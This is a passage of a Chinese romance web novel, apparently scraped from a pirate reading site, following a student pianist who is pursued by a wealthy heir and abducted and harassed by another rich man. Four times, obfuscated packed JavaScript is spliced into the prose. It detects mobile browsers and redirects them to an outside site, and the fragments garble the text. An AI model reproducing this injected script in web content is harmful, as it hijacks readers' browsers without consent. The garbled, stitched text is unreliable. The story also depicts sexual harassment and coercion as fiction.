尽管已经是第二次听他的声音,程映微还是小小的讶异了一下,忍不住在心里感叹,他的声音是真的很好听。 意识到思绪跑偏,她立马收思敛神,一本正经地回答:“廖先生,我是Seekme酒吧的工作人员,前几天与您通过电话的。是这样,您的衣服已经洗好了,需要我给您送过去吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她跟着男人上了电梯,两个人一路沉默着没有任何沟通。程映微的视线稍稍偏移,好奇打量着周遭的一切。 心里暗暗感叹:这里不愧是京市顶尖的私人会所,连电梯都装修得这么复古精致,像是误入了中世纪欧洲的贵族庭院。 电梯在26层停下,男人冲她做了个“请”的手势,带着她出了电梯,往整层楼最中央的的vip套房方向走。 程映微此刻还不知,光合26层是极其私密的地方,整层楼的使用权限仅对一人开放。 她只觉得自己见识短浅。 从前在钟家的时候,她也曾见识过有钱人的生活,那时她心里还没有太大的波澜。 如今踏足这里,看着四周精致的装潢,双脚踩在柔软的地毯上,她才知晓什么叫做真正的纸醉金迷。 就这么走着神,不知不觉间便到了地方,抬起头,一旁的门牌上清晰地写着房号。 8888号房,一看就不是个简单的数字。 程映微忽然紧张起来,脑中晃过无数电视剧桥段,背后溢出一层薄汗。 而后听见“咔嚓”一声,门锁自动开了。 身旁的男人略略颔首,对她说:“程小姐可以进去了。” “喔,好。”程映微胡乱点了点头,推开门,抬脚迈了进去,脱了鞋,顺着大理石地砖一路朝里走。 穿过一条细长的廊道,看见一大片落地玻璃,再往左是一间宽敞的客厅,内里淡淡的香薰味很好闻。 踏上柔软的地毯,继续朝里,忽然看见靠窗一侧的皮质沙发上倚坐着一个人。 那人双腿交叠,腿上还放着一台轻薄的笔记本电脑,修长的手指正噼里啪啦敲打键盘,裁量得体的西装和无框镜将其衬得一副斯文儒雅的模样,浑身上下无不透露着精致二字。 似是感觉到她的脚步,男人忽地停下手头的动作,抬眸看向她。 视线猝不及防的交汇,程映微身躯僵了僵,手里的手提袋差点没拿稳。 “来了?”男人看着她,脸上带着慵懒散漫的笑,和他讲话时一个调调。 这语气,仿佛与她不是第一次相见,而是在和一个相识已久的朋友对话。 程映微有些莫名,却还是尽力扯出一抹笑容,轻盈地唤了声:“廖先生。” 4. 哑谜 廖问今抬眸看向对面的女孩。她穿着简单的毛线外套和阔腿裤,长发束成丸子头,一如既往的清爽干净。 程映微站得远远的,始终和他保持一段距离,眼里明明含着笑,看起来却相当拘谨。 她的视线对上男人幽深的眼瞳,又扫过他立体分明的五官轮廓,再到衬衣包裹之下依旧健硕有型的肌肉线条…… 不禁在心里感慨,这男人有些过分好看了。 她神思游离,丝毫未觉男人已经站起身,缓步向她靠近。 两人之间的距离悄然收缩,他身上的味道也随着空气飘浮过来。程映微忽地记起,她曾在哪里闻过这气味。 貌似是几天前在酒吧门口,她推门而入时不小心撞到一个人,那人身上也有同样的味道。淡淡的木质调香味,初闻清雅低调,过后细细品来,又觉得深邃勾人。 不知不觉间,他距她仅一步之遥,高大的身形在她面前投下一片阴影。 程映微猛然回过神,想起自己此行的目的,抿了抿唇,将手里的购物袋朝他递了过去。 对面的人实在太高,她费力地仰起脑袋,逼迫自己直视他的眼睛,尽量真诚地开口:“廖先生,这套衣服我已经送去干洗店清洗过了,现在归还给您。谢谢您将衣服借给我,您真的帮了我很大的忙。” 廖问今瞟了眼她手里的袋子,并没有伸手去接,反倒微眯起眼细细打量她。见她外表淡定,耳根却透着红,手指也微微颤抖,便知她当下一定很紧张。 他正思索要不要寻些轻松的话题来缓解此刻的氛围,对面的人却有了先一步的动作。 程映微放下手中的袋子,将其搁在一旁的茶几上,略略后退一步与他拉开距离:“东西送到了,那我就先走了,廖总再见。” 还没迈出半步,就被身后的人叫住:“等等。” 见她脸上浮现出些许错愕,廖问今不再卖关子,干脆直言:“你刚才盯着我看了这么久,欲言又止的,是还有话要对我说?” 心思被人看穿,程映微头皮紧了紧,差点怀疑他有读心术。 “嗯。”她点点头,纠结许久,还是问出心中疑惑,“我想问问您,那天为什么要帮我?还有,这套衣服的尺码恰好和我的码数大小相吻合,这些真的只是巧合吗?” “不能说完全是巧合。一部分吧。” 这话说的没头没尾,让人更加理不清头绪。 程映微不想再费心思去揣度他话中深意。既然东西送到了,她的任务就算完成,可以安心离开了。再多费口舌只会徒增麻烦。 她唇瓣翕动,正欲开口道别,男人搁在沙发上的手机倏然响了起来。 廖问今朝那边瞥了眼,并未避讳对面的女孩,直接拿起来,滑动接听。 而后他侧过身,眼中柔和褪去,又恢复成冷冰冰的公事公办的口吻,没说几句便将电话挂断了,转头对一旁的女孩说:“不好意思,我得先失陪一下。” 他拿了外套,起身往外走,边走与她交待,“你先坐。这里的东西你可以随便用,不用拘谨。我下去见一个合作方,几分钟就回来。” 程映微怔了怔,“几分钟?” 见他好似是真的有正事要处理,又因她的到来特意压缩了与客户会面的时间,程映微有些不好意思,迟钝地开口:“您不用因为我……” “不是因为你。”他眼中含笑,耐心与她解释,“对方的身份不足以占用我太多时间,几分钟足够了。” 程映微点点头,似懂非懂。 莫名联想到一句话:成功人士的时间向来都是按秒计算的,富人也是。 身处陌生环境,她本就浑身不自在,现下又因自己的贸然打扰感道抱歉,唯恐耽误了他的时间,便对他说:“廖先生,既然没有别的事情,我就不打扰了……” “来都来了,还没待上几分钟,就这么着急要走?”他低眸看她,依旧是温和的口吻,“就当是给我个面子,多待一会儿,我还有话要对你说。” “……” 他说完就走了,并未给她拒绝的机会。 程映微目送他出了套房大门,随后挪动到沙发上坐下。她不敢乱动屋内的摆设,只挨着沙发边角坐,生怕弄坏了东西又要赔钱。 约莫半分钟过去,门铃响起,有服务生送来了茶水和果盘,还有一叠小零食,花花绿绿的包装,一看就是为她精心准备的。 起码像廖问今这样矜贵又有格调的人,是绝对不会爱吃草莓蛋糕和夹心小饼干的。 她捧起面前的水杯暖了暖手,指尖不经意地触了触托盘里的零食包装,仔细一看,才发现其中好几样都是她平时爱吃的。 她觉得越发奇怪了。 若说衣服尺码合身只是巧合,连她最爱吃的零食也能误打误撞的对上号吗? 这个廖问今究竟在搞什么什么名堂?难不成背地里偷偷调查她? 脖颈处蹿起一股凉意,程映微放下杯子,拿起包包起身往外走。 一切太过诡异,她不能在这里待下去了。 程映微快步走到大门处,盯着门把手旁边的电子屏幕看了许久,才找到开门按钮。 指尖轻触上去,“嘀”的一声,门开了。她轻手轻脚地往外走,刚迈出一步,就看见门外守着一个人。 是刚才在大厅里接待她,带她上楼的那个中年男人。 她僵在原地,半晌才出声,与对方套起近乎:“那个……您贵姓啊?” “我姓白,程小姐不介意的话叫我白叔即可。”男人笑说。 “那白叔,我就先走了哈。”程映微回以他一个友好的笑容,带上门准备离开。 “程小姐。”男人叫住她,沉声提醒,“先生说了,让您在这等他。” “可我待在里面浑身刺挠,真的一分钟也坐不住了。”程映微唇线紧绷着,神情也变得严肃,“况且他也没有理由拘禁我吧?我和廖先生也就一面之缘,连陌生人都算不上,他把我关在这里算是怎么回事?” 她心里害怕,只能冷着脸给自己壮胆:“我告诉你,你再拦着我我可报警了啊!” “那这样吧,我陪您一起下楼。”男人有些为难,“您还是留下来等一等,等先生忙完跟他打声招呼再走。若是不说一声就离开,我会被问责的。” 这话还真说进了程映微的心坎里,深深共情于他。 作为一个从大一开始勤工俭学的穷学生,她一向把钱看得很重,生怕自己自作主张地离开会连累白叔被扣工资。 想了想,低声问:“他会扣你钱吗?” 白叔愣了两秒,点头:“啊,对。” 程映微在心里暗骂了句万恶的资本家,一时心软,应道:“那好吧。” 电梯下降得很快,十几秒的功夫便抵达一楼大厅,璀璨炫目的水晶灯映入眼帘,差点闪瞎她的眼。 白叔带着她穿过走廊,往大厅右侧的休息区走,半路上遇见一个吊儿郎当大摇大摆的身影,是个年轻男人。 那人正拿着手机跟别人讲电话,眉飞色舞,语气也恶劣,丝毫不知收敛。 程映微无意听了那么一耳朵,发现那人居然是在向同伴炫耀最近勾搭上的女生,甚至大肆评论起女孩的身材和相貌,低俗至极。 擦肩而过的一瞬,程映微下意识地侧过身,往左避了避,却不料对方早已注意到她。男人掐准时间挂断了电话,唇角挑起混不吝的笑,修长健硕的手臂抬起来,横在她身前,拦住她的去路。 “站住。” 彭维在她面前停下脚步,视线低垂下来,狭长黢黑的眼一寸寸扫过对面那张素白的小脸,似是认出了她,咧唇笑道,“是你啊。” 程映微根本不认识他,只觉得莫名其妙,正欲开口,白叔已经上前一步挡在她身前,试图帮她解围。 他脸上挂着一贯的官方笑容,冲男人道:“彭少,您是来找廖总的吧?您预约的是下午四点,这还没到时间呢,要不您先……” “急什么?你给我一边待着去!”彭维烦躁地打断他,指着程映微说道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447687|185170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你是几天前在东阳路酒吧弹琴的那个?” 注意到男人上下打量的目光,程映微顿时警觉起来,“我不认识你。” 彭维嗤笑一声,单手扶在墙壁上,慢悠悠道:“美女的记性一般都很差。” 他指尖摩挲着下巴,笑得轻佻,“妹妹,你钢琴弹得那么好,成天憋屈在小酒吧里挺可惜的。不如哥哥帮你介绍点资源人脉,换个高档点的会所弹琴?” “像你这么漂亮的小姑娘,趁着年轻多结识一些大佬,往上爬一爬,日后定会前途无量的。” 话说到这个程度,已经算是骚扰了。 程映微倒很冷静,并未因为他的话而急眼,“多谢您的好意。这是我自己的事情,不劳您费心。” 说完,转身就走。 “我让你走了吗?”被人当众下了面子,彭维气急,大声嚷道。 他三两步跟上她,借着身高优势将对面的女孩逼到墙角:“我看你年纪轻轻,面子倒是挺大啊。” 说着,直接伸手扼住她的手腕,牟足了劲将她往自己跟前带,“你信不信老子……” “彭维。” 毫无征兆的,一道熟悉的嗓音在身后响起,打断了他无礼的举动和粗鄙的话语。 那声音明明和往常一样,磁性温润,此刻听起来却阴恻恻的,令人头皮发麻。 彭维回过头,看见廖问今不知何时站在那里,面色晦暗,眸底寒光乍现,眼神锐利得像是随时能甩出一把刀子来将他大卸八块。 方才那股嚣张气焰顷刻间偃旗息鼓,彭维一时心虚,蔫蔫松开了手。 “廖总,我……” “去洽谈室等我。”廖问今语气淡淡,却是命令的口吻。 他脸上淡无表情,看起来儒雅斯文,却时刻给人一种身处上位、不怒自威的压迫感,一看就不好惹。 彭维脸上的表情变了又变,内心不服,却不敢吭声。 廖问今横他一眼,又冲身后的助理使了个眼色。 一通电话拨出去,彭维很快被保安请走,消失在他们的视野范围内。 程映微惊魂未定,睁大眼睛看着眼前的男人,一时竟不知是该感谢还是该责怪他。 若不是廖问今强留她在这里,她又怎么会和那个纨绔富二代打上照面,被他骚扰? 这个圈子的人,果真不能轻易招惹,稍不留神就会给自己带来祸端。 廖问今阔步走来,此刻也顾不上礼数,直接握住她的手腕查看,“疼不疼?他没弄伤你吧?” 冰凉的指节覆上白皙细腻的皮肤,程映微下意识打了个寒噤,不自在地缩回手:“没有。” 她错开视线,低声道:“我还有事,真的得走了。” “好。”廖问今知晓她受到惊吓,便不再强留,“这边离你学校太远,我叫人送你。” “不用了,廖总。” 她表现得疏离,并不想与他有过多牵扯。 察觉到她的抗拒,廖问今眸色暗了一瞬,沉默片刻又开口,嗓音变得轻柔不少:“今天是我考虑不周,不该留你一个人在房间。我给你道歉,行吗?” “我们就只是陌生人,犯不上道歉。” “要是我说不是呢?” 程映微疑惑地看着他,越发摸不着头脑,“你什么意思?” 他只笑了笑,继续打起哑谜:“以后你会知道的。” 听见“以后”二字,程映微二话不说,转身就走。此刻只恨自己不能同时拥有八条腿,好快些离开这个是非之地。 没想到刚走出没几步,那人又叫住她:“映微。” 她顿步,却没回头。 廖问今站在原地,看着女孩窈窕修长的背影,唇角弯了弯,又继续开口: “你弹琴很好听。” “期待下次相见。” 程映微嘴角抽了抽。 下次?还是别了。 她加快脚步继续往前走,踏入旋转门,逃也似的离开这个与她八字不合的地方。 6. 触碰 回到寝室,程映微将手机充上电,又快速冲了个澡,将衣服洗好晾在阳台。做完这一系列的事情,再拿起手机,发现时间已经过去了一个多小时。 打开微信,聊天框上方弹出一个红点,宋丞回了她一条消息:【结束工作了。你今天怎么样?累不累?】 眼梢弯出一抹笑意,她回:【我不累啊。我今天休息,不用去兼职,忽然闲下来反倒有些不习惯呢。】 她在表情库里翻翻找找,配了个小猫撒娇的表情包一起发过去。 消息发出,程映微觉得胸口闷闷的,还有点心慌。回想起今天下午发生的事情,她又觉得有些不安。 先是被廖问今一通莫名其妙的话弄得摸不着头脑,再是被一个素不相识的纨绔公子哥骚扰,后来又在学校门口遇见钟晚卿,和他发生争执…… 细想想,这应该是她近几年来度过的最最魔幻的几个小时了。是电视剧都拍不出的狗血剧情。 正发着呆,手机兹兹振动起来,将她出走的思绪召回。 是宋丞直接打了视频电话过来。 她凝神,点了接听,立马调整好状态,脸上堆起笑容与他打招呼。 男生年轻英俊的脸出现在屏幕上,虽有些疲惫,看起来依旧温润柔和,说起话来也如是,“宝贝,你今天不是在寝室休息吗?怎么脸色这么差?昨晚没睡好吗?” 程映微怔了怔,寻了个合适的理由,笑着说:“被你看出来啦,我昨晚熬夜追剧了,大概是睡眠不足导致精神有些差吧。” 看着她泛白的面色和窄瘦的一张小脸,宋丞无奈摇了摇头:“让你好好吃饭,早起早睡,你总是听不进去……” 宋丞在电话那头絮叨许久,程映微托着下巴耐心听着,过后又打哈哈糊弄过去,两人不知不觉就聊了十来分钟。 有那么一瞬,她忽然改变主意,想把下午发生的事情跟宋丞好好讲一讲。 正欲开口,住在她临铺的许颜姣忽然拉开床帘,烦躁地吼了句:“程映微,你跟你男朋友到底还要聊多久?还让不让人睡觉了?你能不能小声点?” 从她回到来现在,许颜姣床头的帘子一直拉着,座位上也没人,程映微根本不知她在寝室。 况且现在才八点多,压根没到休息时间,也不知许颜姣今日怎么会这么早上床。 可她到底还是吵到了别人,怎么说都是自己理亏。 程映微立马挂断了视频连线,站起身对隔壁上铺的人说:“不好意思姣姣,我不知道你在睡觉。” 许颜姣皱着眉睨了她一眼,烦躁地嗤了声,又拉上帘子重新躺了回去。 程映微觉得莫名其妙,没再理她,回到座位上继续做自己的事情。 薛凝在一旁听见了她们的对话,冷笑一声,给程映微发消息:【她最近怎么跟炮仗似的一点就着?谁又惹她了?】 程映微回了个“摊手”的表情包,表示她也不知道。 后来她又细细回想一番,大概是前几日许颜姣问她衣服来处,被她找借口搪塞了,因此才对她有了意见。 微信消息持续不断地弹出,宋丞给她发来几个问号:【刚才是谁那么大声说话?你跟室友吵架了?】 程映微回了个托腮的表情:【吵到室友睡觉了,所以挂断了。明天再聊。】 宋丞莫名:【现在才几点?睡什么觉?你这室友不会是故意针对你吧?】 【没有没有。】她不想将事情复杂化,便转移话题,又与他聊起别的。 - 转眼又一个月过去,京市进入深秋,距离迈入寒冷萧瑟的冬季似乎只差临门一脚。 这段时日,程映微照样每天重复着相同的生活,上课,兼职,和宋丞以及远在家乡的父母视频通话,与他们分享自己的日常。偶尔有时间,她还会去图书馆翻看一些乐理方面的书籍,扩充一些自己感兴趣的课外知识。 唯一不同之处便是,自从两个月前那位廖先生无端闯入她的生活,他的影子便再难从她的世界里抹去,总是在某个不经意的时刻出现在她眼前,与她产生千丝万缕的联系,让她避之不及。 现如今,每每下了课来到pub兼职,上台前,程映微总要往14号桌的方向瞟一眼。几乎已经形成习惯。 大多数时候,卡座内总是空荡无人,也不对外开放,像是成了那个人的专属座位。可又有那么几次,程映微偷偷朝那边瞟过去,还真瞧见廖问今坐在那里,视线低垂向下,凝眸在想事情。 与之前不同的是,后来再出现在Seekme酒吧,他都是只身前往。身边没了那群狐朋狗友,他就独自一人坐在那里,不说话,只静静饮酒。幽暗灯光照至他优越的轮廓分明的侧脸,如同一尊被赋予了神性的雕塑,孤寂,且神秘。 程映微站在走廊转角,就这么好奇地盯着他看。待对方察觉到什么,缓缓抬起头,她又迅速收回目光,转身往后台去了。 照平常来说,程映微每日十点下班,十点之后酒吧进入嗨唱点歌模式,便会有爵士乐队来接替她演出。 但这天爵士乐手临时有事请了一小时假,老板便让程映微顶替上去,让她多弹一个小时,并承诺按照超时加班给她算三倍工资。 程映微爽快地应下,一听有三倍酬劳便干劲满满,然而等到下了班,她的手脚已经累到不听使唤。看了眼时间,最后一班地铁也已经停运,这意味着她还得打车回去。 从pub出来,程映微疲惫地往路边走,刚点开叫车软件,便注意到不远处一辆黑色轿车停在路边。 廖问今倚在车门处,指尖夹着一根尚未燃尽的香烟,薄薄一层烟雾从他鼻间喷出,被风吹远,糅杂进干冷的空气里。 程映微站在那,正好对上那人幽冷深邃的目光。 她哑然,半晌才听见自己的声音:“廖先生,您是有什么事吗?” “没有。”他的视线落在她身上,倏而变得柔和,捻熄烟蒂丢进一旁的垃圾桶里,眼中情绪藏得太深,让人琢磨不透。 “那您这是……” “等你,送你回学校。”他唇角勾起,抵在车门处的手肘稍稍用力,支撑着站直了身体,低眸看着对面的女孩。 他的影子拢过来,将她整个人罩住,程映微又闻到那股熟悉的味道,肩膀颤了颤,下意识地想要后退。 廖问今看出她的害怕和戒备,并未多说什么,只侧过身将副驾驶的门拉开,双眸微眯看着她。 嗓音沉沉,不容拒绝: “上车。” - 车子在高架上匀速行驶,窗外璀璨的灯河,耀眼的霓虹,都成了浮光掠影,一闪而过。 车窗半开,偶尔有凉风吹进来,女孩垂顺的发丝被风扬起,发间那股幽香飘浮在狭小空间内,撞入身侧那人的鼻腔,甚是清新好闻。 驾驶座 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447689|185170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,廖问今单手掌控着方向盘,目光时不时瞟向身旁的女孩,见她发丝如海藻般散落,发尾又被风吹得飞舞起来,他觉得心尖发痒,便抬起手,捻住她耳侧一缕碎发,帮她拨到了耳后。 冰凉的指尖触碰到温热的肌肤,程映微被吓了一跳,条件反射地侧过身看他,圆润又微微上挑的眼募地睁大,满眼写着惊诧和不可置信。 廖问今没料到她会有这么大的反应,见她憋红了脸一句话也说不出,他弯唇笑了笑,刚抽过烟的喉咙有那么点哑:“你放心。我要是真想对你做什么,至于等到今天吗?怕是那天在光合就已经对你下手了。” 程映微警惕地盯着他,见他姿态慵懒,目光也倦怠,任何话从他嘴里讲出来都是那么的不经意,看起来并不像是彭维那般的纨绔子弟……可她又实在参不透他接近自己的目的。 视线转向窗外,她将这几年的过往画面在脑中通通过筛一遍,连细枝末节都没放过,却还是寻不到与他相关的任何记忆。 时隔一个多月,她再次抛出同样的问题:“我们从前真的没见过吗?” 廖问今看着前方,专心开车,笑而不答。 半晌,才悠悠回复:“还是那句话,以后你会知道的。” 路上遇到一个长达90秒的红灯,车子渐渐减速,停在转向车道。程映微陷入深思,丝毫未察觉到来自左侧的那道目光。 廖问今侧过头打量她,眼中翻涌着说不清道不明的情绪,搁在方向盘上的右手动了动,直接朝她探了过去。 指尖滑过她白皙光滑的手背,又向里翻转,握住她纤长的指节,触碰到她指腹上那一个个因弹琴而生出的薄茧。 鼻腔里发出一声轻笑。 结果下一秒,就听见女孩惊恐的声音:“你干什么?!” 程映微用力挣脱,唇齿间溢出的声音战战兢兢,眼中含着警告:“廖先生!” 他低眸,看着自己落空了的那只手,脸上依旧带着笑意。沉默数秒,又望向她,语气染上几分戏谑:“你这么吃惊地看着我,是没想到我会碰你?” 又继续凑近,眼中笑意加深,“映微,难道之前,你一直认为我是个好人?” 他身上凛冽的气息一点点朝她逼近,程映微整个人贴在车门上,几乎是退无可退。 她吓坏了,也不敢上手去推,只能将脑袋侧向一旁,强装淡定地开口:“廖先生当然是好人。您是大名鼎鼎的廖氏集团继承人,坐拥数百家企业和数不尽的家产,肯定不会对一个一无所有的穷学生起了歪心思……这要是传出去,不知会惹得多少人笑话。” 廖问今静静听她说完,看着她唇瓣快速张合,眼睛红润潋滟着水光,心里悄然升腾起一种近乎变态执拗的念头。 却在某一刻,想到了某个人、某件事,最终还是压制住心底那股欲念,撤回按在车窗上的手,悄然拉开两人之间的距离。 恰好前方绿灯亮了,堵塞的车辆开始缓缓通行,他收回握在她手腕上的另一只手,抬脚踩下油门。 程映微还处在懵怔状态,双手紧紧抓着安全带,指甲在掌心掐出了道道细痕。 车内重新播放起舒缓的音乐,她眨了眨眼,试图将眼眶里的泪水憋回去。 转瞬就听见身侧的人低咳一声,再次开口:“谁说你一无所有的?映微,不要妄自菲薄。” “只要你愿意,你可以拥有很多东西。” 7. 过界 “您说得很对,但我更偏向于凭借自己的努力得到那些东西。” 程映微目视前方,逼迫自己冷静下来,“廖先生,过了这个路口,麻烦您停一下车,把我放下来。” 廖问今原是想逗一逗她,没想到她气性这么大。余光瞥见她紧攥着衣摆的双手,因为太过用力导致关节处微微泛白,指尖也掐出红痕,可想而知她是真的动了气,又强忍着不敢发作。 “你这小姑娘,怎么气性这么大?”他放缓语气,笑着说,“我又不是人贩子,还能把你拐去卖了不成?” 程映微不看他,只是重复:“我要下车。” 廖问今不说话,适时地装聋作哑。 有那么一瞬,程映微甚至想过开门跳车。但有了上次的教训,她根本不敢乱动他的车,生怕动坏了什么零件,对方再赖上她,让她赔钱。 她一路上提心吊胆,直至车子在校门外停下,听见“咔嚓”一声门锁打开的声音,悬着的一颗心终于落下。 她急忙解开安全带,道了声“谢谢”就要下车。 车门带上的一瞬,副驾驶的车窗降下来,她听见男人低沉微哑的嗓音:“注意安全。” 在程映微转身之际,那人又叫住她,“映微,希望下次见面时,你对我的态度能够稍稍转变一些。” 程映微侧过头,难以置信地望向他。 这人怕不是脑子有病吧? 她盯着廖问今看了一阵,透过那双黝黑深沉的眼,细细揣摩他的心思。 终于忍不住提醒:“廖先生,我有男朋友。” 他一只手撑在窗沿,笑着说:“我知道。” 程映微这下彻底明白了,这个男人究竟为什么接近她,又对她怀揣着怎样的心思。 所以上次在光合会所,他表现得一副儒雅斯文的模样,甚至在彭维骚扰她的时候出手相帮,这些善意举动其实都是装出来的吧? 说到底,他和那个彭维骨子里根本就是一样的人。 她不敢再联想下去,冲着车里的人躬了躬身子,再次表示感谢,而后利落地转身往学校里走,步履匆匆,再没回头。 回到宿舍已经十一点半,大家都上床睡觉了。程映微摸黑洗了澡,轻手轻脚地上床,将自己裹进柔软的被子里,给宋丞发消息。 她期待地问:【你们项目快到期了吧?是不是这周就能回来了?】 手机振动,他很快回了消息:【项目延期了,我还得在这边待一阵子,归期未定。】 读完消息,程映微原本上扬的嘴角一点点耷拉下去,有种期盼许久的事物忽然落空的无力感。 不知为何,她心里开始惴惴不安。 自那晚起,程映微每日去酒吧上班都会收到一束包装精美的鲜花,对方换着花样送,连续半个月不带重样的。 花束包装上没有署名,也没有任何旁的信息,程映微却能猜到这花是谁送的。 那个人好像很忙,自那次送她回学校后,已经许久没出现在她的视线范围内,14号桌的卡座也一直空置着。 有那么一刻,程映微荒诞地想:他都这么忙了,居然还有闲心给她送花? 她是真看不懂有钱人的世界,无法与他们共脑。 - 十二月上旬,京市各大高校与市教科文组织联合举办了大学生人工智能研发大赛。学校贴吧里被这一消息刷了屏,各个学院的院长和老师都纷纷在群里转发,鼓励学生们踊跃报名。 程映微学的是财务专业,对这方面一窍不通,照理说不该出现在这样的场合。但她从大一开始就加入了校青协,作为资历比较老的部员,她十分“幸运”地被抽中,被借调到比赛场地做志愿者,帮忙布置现场。 当天上午,程映微早早起床,搭乘学校大巴去往会场。 她和同伴在会展中心的大厅里忙了一上午,又是拉宣传条幅,又是悬挂海报,人员稀缺时还要去充当引导员,几个小时下来已经累得眼冒金星。 待展厅布置好,已经临近中午,比赛是下午两点开始,她还有时间去吃个午饭。 在后台领了盒饭,程映微去卫生间洗了洗手,无意中听见一旁两个身穿制服的工作人员闲聊。 其中一个说:“今年的研发大赛搞得这么隆重,连租用的场地都比往年大了一倍不止,看来市里是相当重视这场比赛了。” 另一人听后附和:“谁说不是呢。据说今年换了项目主办方,租用的场地是彭氏集团名下的商务会展中心,光是一天的场地租赁费就好几万呢。” 两个女生叽叽喳喳聊了许久,太多信息穿耳而过,程映微却没怎么听进心里,洗了把脸就匆匆离开了。 吃过午饭,短暂休息了半个小时,下午一点,研发大赛正式开始,各个院校的领导徐徐入场,工作人员和志愿者也已就位。 程映微在场地内做引导工作,有个小姑娘急着去卫生间,来找她问路,她将人带到指定地点,回去的路上,居然撞见一位不速之客。 定睛一看,是前段时间在光合会所对她动手动脚的那个富二代。好像是叫彭维。 程映微暗叹自己点背,扭身就走,可对方已经看见了她,忽地提声喊道:“跑什么?给我站住!” 程映微顿步,转过身,大方直视他,眼中并无畏惧:“您有事吗?” 今天这么多人在场,她就不信彭维还敢对她动手动脚。 男人脸上挂着笑,大摇大摆朝她走来,拿起她颈间挂着的工牌瞅了几眼,照着上面念道:“程,映,微。” 他身上的味道太具侵略性,程映微眉心跳了跳,迅速夺回工牌,后退一步,“你到底想干什么?” 彭维摸着下巴笑:“程小姐没听过一句话吗?即是有缘,才会再见。”他歪着脑袋看她,“那么,我跟这位小姐一定是有缘人,才会不分场合,一次又一次的遇见。” “这里到处都有监控,这位先生,请您自重。”程映微冷静地提醒。 对方闻言嗤笑一声:“你吓唬谁呢?”他抬手,指尖点在她肩上,“出去打听打听,今天的会展租用的是谁家地盘?” 一些零碎的声音蹿进脑海,程映微想起刚才在洗手间,那两个女孩的对话。 心跳一滞,她感觉到危险将近的时候,一切已经晚了。 彭维指着她,对身旁两个助手说:“你们俩,把人给我带到13楼来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447690|185170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “你干什么?你这样是非法……”一句话还没说完,程映微就被捂住嘴,往电梯厅的方向拉拽过去。 “吱呀”一声,房门被推开,程映微被人推搡进了屋,又听见“啪嗒”一声,门被关上。 房间里光线昏暗,她站起身就想跑,又被门口的壮汉拦住,推搡回去。 包厢内除了彭维和两名保镖,一旁的沙发上还坐着几个男人,都是陌生面孔。 见他们看猎物似的好奇盯着她看,程映微顿觉不妙,一边往角落退,一边冲着彭维喊道:“你到底想干什么?我告诉你,我今天是和学校领导一起来的,他们找不到我会直接报警!” 待她说完,包厢里安静一秒,随即响起一阵哄堂大笑。 彭维走过来捏住她的下巴,哂笑道:“整个会展中心都是我彭氏集团的,我想干什么还需要跟你报备?” “上次让你跑了,是你侥幸,这次可就没有那么好的运气了。”彭维揪着她的衣领说,“今天可不会有廖问今那样的傻子空降过来救你。程小姐,你就自求多福吧。” 他说完,右手用力一扯,她的衬衣纽扣险些崩开线。好在程映微手快,直接伸手捂住领口,又趁他不备抬起腿,朝着他膝盖处狠狠踢了一脚。 彭维毫无防备,吃痛松开了手。他没想到一个小姑娘居然会有这么大的力气,他觉得自己的膝关节差点碎裂。 “你他妈的想死是不是!”彭维捂着膝盖,朝对面角落里的人抬起了手。 他目光狠戾,看起来是下了狠手,可那一巴掌却迟迟未落下。 几乎是同一时间,包厢大门被人推开,钟晚卿走进来,看见眼前的一幕,脚步顿住,垂在腿侧的右手直接紧握成拳。 房间内充斥着笑声和谩骂声,吵得人头晕。有人提声问他:“钟少,怎么现在才来?” 钟晚卿没理那人,直接阔步上前,拨开挡在他身前的彭维,蹲下身护住蜷缩在墙角的女孩。 见她长发凌乱,领口的扣子被扯松了线,摇摇欲坠,他罕见地爆了粗口,立马脱下外套罩在女孩身上,低声说:“别怕,我带你走。” 程映微讶然看着他,眼圈忽地红了,她被男人拉着站起身,还没站稳,就被彭维伸手拦住:“你干什么钟晚卿?老子叫你过来是要跟你谈生意,不是让你来英雄救美的!” 另一边的沙发上,那几人纷纷愣了神,有人问:“怎么了钟少?今儿这是什么情况啊?” 钟晚卿看着对面流里流气的彭维,有那么一瞬,他甚至想冲上去把他掐死。 他努力压制着脾气,最终还是没忍住扬起了拳头,朝彭维脸上挥过去。 彭维慌了神,下意识地侧过身去躲。然而那道重量还未落在他脸上,便听见“嘭”的一声巨响。 包厢门被人一脚踹开,结实的橡木门板被踢裂了一块。 程映微捂住耳朵,在钟晚卿身后惊恐地抬起头,透过包厢内弥漫的烟雾,看清了站在门口的那个轮廓。 